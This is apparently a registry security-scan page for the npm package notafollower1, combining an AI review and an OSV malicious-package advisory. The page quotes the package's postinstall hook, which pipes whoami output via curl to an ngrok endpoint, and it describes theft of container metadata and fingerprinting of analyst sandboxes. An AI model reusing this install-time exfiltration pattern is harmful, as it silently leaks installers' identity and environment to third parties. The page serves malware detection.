registry / notafollower1 / 1.0.8

notafollower1@1.0.8

AI Security Review

scanned 2d ago · by lpm-firewall-ai

Installation automatically executes a shell pipeline. It exfiltrates the local account name to an external endpoint.

Static reason

One or more suspicious static signals were detected.

Trigger

npm install (postinstall lifecycle)

Impact

Discloses the installing user's local account identity to a third party.

Mechanism

pipes whoami output into curl POST

Attack narrative

On installation, npm runs the package's postinstall command. The command obtains the current local username with whoami and pipes it to curl, which POSTs the value to a remotely hosted ngrok endpoint without user interaction.

Rationale

The only package file defines an automatic install-time identity-exfiltration command. This is concrete unauthorized data exfiltration.

Evidence

package.json

Network endpoints1

mourner-slot-explicit.ngrok-free.dev

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-14034

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in notafollower1 (npm)

Details

package.json declares a postinstall script that automatically runs on npm install and fetches AWS ECS container task metadata via the ECS_CONTAINER_METADATA_URI_V4 endpoint (task ARN, container names, image names), then POSTs the collected data to a hardcoded ngrok tunnel at https://mourner-slot-explicit.ngrok-free.dev using curl. The postinstall also inspects the container image name for substrings matching known security research operators (twbray, packagehound, wiz, oss-dynamic) and labels the payload accordingly, indicating deliberate sandbox and analyst fingerprinting. The destination is an anonymous ngrok tunnel unrelated to any legitimate publisher infrastructure, and the collected data reveals installer-side CI/build/container environment details to a third party.

References

OSV advisory PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE PACKAGE

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json defines a postinstall lifecycle hook.
The hook sends the installing user's whoami output to an external ngrok URL.

Evidence against

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

3 flagged

package.jsonView file

•scripts.postinstall = whoami | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

4"scripts": { "postinstall": "whoami | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-" }

High

Suspicious Lifecycle Evidence

package.json defines a postinstall lifecycle hook.

package.jsonView on unpkg · L4

•scripts.postinstall = whoami | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

Source & flagged code

3 flagged · loading source

package.jsonView file

•scripts.postinstall = whoami | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

4"scripts": { "postinstall": "whoami | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-" }

High

Suspicious Lifecycle Evidence

package.json defines a postinstall lifecycle hook.

package.jsonView on unpkg · L4

•scripts.postinstall = whoami | curl -X POST 'https://mourner-slot-explicit.ngrok-free.dev' --data-binary @-

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

Findings

2 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

LowScripts Present

LowNo License